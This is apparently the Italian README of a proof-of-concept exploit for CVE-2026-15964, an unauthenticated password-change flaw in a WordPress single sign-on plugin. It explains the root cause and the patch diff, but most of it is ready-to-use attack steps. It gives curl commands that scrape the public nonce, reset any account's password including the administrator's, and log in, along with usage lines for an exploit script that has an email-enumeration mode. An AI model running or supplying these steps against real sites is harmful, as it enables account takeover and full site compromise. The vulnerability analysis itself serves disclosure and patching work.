
PoC e checker per CVE-2026-15964 - modifica della password non autenticata nel plugin WordPress Single Sign On For TNG <= 2.0.0 (CVSS 9.8)
Escalation dei privilegi non autenticata tramite modifica non verificata della password nel plugin WordPress Single Sign On For TNG.
| Gravità | Critica (9.8) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-620 (Modifica della password non verificata) |
| Versioni interessate | versioni del plugin dalla 1.0.0 alla 2.0.0 |
| Corretta in | 2.1.0 (rilasciata il 2026-07-27) |
| Pubblicata | 2026-08-01 |
| Autenticazione richiesta | nessuna (wp_ajax_nopriv_ssoprocess_ajax) |
| Impatto | cambiare la password di qualsiasi account WordPress, inclusi gli amministratori - compromissione totale del sito |
| Plugin | https://wordpress.org/plugins/single-sign-on-for-tng/ |
Qualsiasi visitatore non autenticato può cambiare la password di qualsiasi account su un sito che esegue il plugin alla 2.0.0 o precedente. Bastano due richieste HTTP:
SSOPWDREQUIREMENT.admin-ajax.php con operation=setnewpassword, l'email della vittima e
una nuova password.Il resto lo fa reset_password() del core di WordPress. Nessun token, nessun link
di conferma via email, nessun controllo delle capacità. Dopo di che si accede come amministratore.
NONCE=$(curl -sk https://target/ | grep -oP "SSOPWDREQUIREMENT\s*=\s*\{.*?'nonce'\s*:\s*'\K[0-9a-f]{10}")
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
-d "action=ssoprocess_ajax&nonce=${NONCE}&operation=setnewpassword&[email protected]&password=Pwned!@2026x"
# -> {"success":true}
In single-sign-on-for-tng.php (v2.0.0):
add_action('wp_ajax_ssoprocess_ajax', array($this, 'ssoprocess_ajax')); // line 68
add_action('wp_ajax_nopriv_ssoprocess_ajax', array($this, 'ssoprocess_ajax')); // line 69
wp_ajax_nopriv_* significa che il gestore è raggiungibile senza alcuna sessione.
load_scripts() è agganciato a wp_enqueue_scripts, quindi su ogni pagina
front-end il plugin stampa questo nell'HTML:
wp_localize_script('general_script','SSOPWDREQUIREMENT',
array('passwordspec'=>PASSWORDSPEC,
'url'=>admin_url('admin-ajax.php'),
'nonce'=>wp_create_nonce("ssoajaxnonce"))); // line 96
Che viene renderizzato così:
<script id="general_script-js-extra">
var SSOPWDREQUIREMENT = {"passwordspec":"...","url":"https://target/wp-admin/admin-ajax.php","nonce":"9c0de6ab12"};
</script>
E il gestore lo verifica così:
public function ssoprocess_ajax() {
global $wpdb;
check_ajax_referer('ssoajaxnonce', 'nonce'); // line 104
...
L'inghippo: WordPress calcola i nonce con wp_create_nonce($action) usando
uid e il token di sessione. Per i visitatori non autenticati questi sono 0 e una
stringa vuota, il che significa che ogni visitatore anonimo riceve esattamente lo stesso nonce.
Viene rigenerato solo ogni 12 ore (il "tick" del nonce). Quindi il nonce che il
plugin stampa per qualsiasi visitatore è valido anche per l'attaccante - non c'è alcun
segreto da rubare, è pubblicato nella pagina stessa.
switch ($op) {
case 'setnewpassword':
if (!isset($post['email']) || !isset($post['password'])) { ... }
$email = wp_unslash($post['email']);
$user = get_user_by('email', $email);
if ($user !== false) {
reset_password($user, $post['password']); // line 120
...
wp_send_json_success(array('success'=>true));
}
else
wp_send_json_error(array('success'=>false));
break;
reset_password() è una funzione del core di WordPress. Imposta il nuovo hash, disconnette
la vittima da ogni altra sessione e attiva le azioni password_reset /
after_password_reset. Qui viene chiamata senza che nulla dimostri che chi la invoca
sia il proprietario dell'account.
Due cose in più che vale la pena sapere:
MINIMUM_PASSWORD_LENGTH / PASSWORDSPEC del plugin vengono applicate solo in
validate_form() per i moduli Forminator, mai qui. Qualsiasi password è accettata.{"success":true} rispetto a {"success":false} ti dice
se un'email è registrata. La modalità --enum-only del checker sfrutta questa cosa.operation=set_tzoffset chiama
update_option('localtzoffset', $post['timezoneoffset']) senza autenticazione.
Non sfruttabile direttamente per una RCE, ma è una scrittura di opzioni non autenticata
e merita di essere menzionata nel writeup.Il diff tra la 2.0.0 e la 2.1.0 rende evidente la correzione (e conferma il bug):
case 'setnewpassword':
+ $timeout = intval($post['timeout']);
+ if (time() > $timeout) {
+ // clears custom_recovery_token / _expiration / _nonce user meta
+ wp_send_json_error(array('success'=>false,'message'=>'The time to submit the new password expired...'));
+ return;
+ }
$email = wp_unslash($post['email']);
$user = get_user_by('email',$email);
if ($user !== false) {
reset_password($user,$post['password']);
inoltre, in newpasswordform():
+ if (empty($_GET['uid']))
+ return ... "An unexpected error occurred." ...
+ $user_id = intval(sanitize_text_field(wp_unslash($_GET['uid'])));
+
+ // The nonce is checked here
+ if (wp_verify_nonce(get_user_meta($user_id, 'custom_recovery_nonce', true), 'ssopwdnonce') === false)
+ return ... "This recovery link is no longer valid." ...
Quindi nella 2.1.0 il flusso è: una richiesta di recupero legittima salva un
custom_recovery_token + custom_recovery_nonce per utente nei meta utente, il link di
recupero trasporta l'ID utente, il modulo li valida entrambi e il gestore AJAX rifiuta
di eseguire una volta scaduta la finestra di recupero (timeout). Un attaccante che non
può produrre un record di recupero ancora valido non può più pilotare setnewpassword.
Passo 1 - estrarre il nonce
curl -sk https://target/ | grep -oE "SSOPWDREQUIREMENT[^;]+"
Passo 2 - cambiare la password
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
-H "X-Requested-With: XMLHttpRequest" \
-d "action=ssoprocess_ajax&nonce=<NONCE>&operation=setnewpassword&[email protected]&password=Pwned!@2026x"
Risposta attesa su un'installazione vulnerabile: {"success":true}
Passo 3 - accedere
curl -sk -X POST https://target/wp-login.php \
-d "[email protected]&pwd=Pwned!@2026x&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1"
CVE-2026-15964.pyExploit per singolo sito. Modalità non distruttive incluse.
# one-shot: scrape nonce + change the admin password
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x'
# just scrape the nonce
python3 CVE-2026-15964.py -u https://target --scrape-only
# reuse a nonce you already have
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x' -n 9c0de6ab12